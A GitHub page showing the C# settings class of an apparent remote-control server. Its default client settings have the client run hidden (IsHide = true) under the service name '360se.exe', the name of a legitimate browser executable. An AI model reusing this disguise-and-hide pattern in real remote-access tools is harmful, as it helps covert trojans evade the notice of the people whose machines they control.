forked from Trevor3000/RemoteControl
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathSettings.cs
More file actions
67 lines (63 loc) · 1.98 KB
/
Copy pathSettings.cs
File metadata and controls
67 lines (63 loc) · 1.98 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Newtonsoft.Json;
namespace RemoteControl.Server
{
class Settings
{
const string SettingFileName = "config.json";
public static Settings CurrentSettings = new Settings();
public ClientParas ClientPara = new ClientParas();
public int ServerPort;
public string SkinPath;
static Settings()
{
try
{
if (System.IO.File.Exists(SettingFileName))
{
string json = System.IO.File.ReadAllText(SettingFileName);
Settings.CurrentSettings = JsonConvert.DeserializeObject<Settings>(json);
}
else
{
Settings.CurrentSettings = new Settings()
{
ServerPort = 10010,
SkinPath = null,
ClientPara = new ClientParas()
{
ServerIP = "127.0.0.1",
ServerPort = 10010,
ServiceName = "360se.exe",
OnlineAvatar = "16238_100.png",
IsHide = true,
ClientIconPath = null
}
};
}
}
catch (Exception ex)
{
}
}
public static void SaveSettings()
{
if (Settings.CurrentSettings == null)
return;
string json = JsonConvert.SerializeObject(Settings.CurrentSettings);
System.IO.File.WriteAllText(SettingFileName, json);
}
}
class ClientParas
{
public string ServerIP;
public int ServerPort;
public string ServiceName;
public string OnlineAvatar;
public bool IsHide;
public string ClientIconPath;
}
}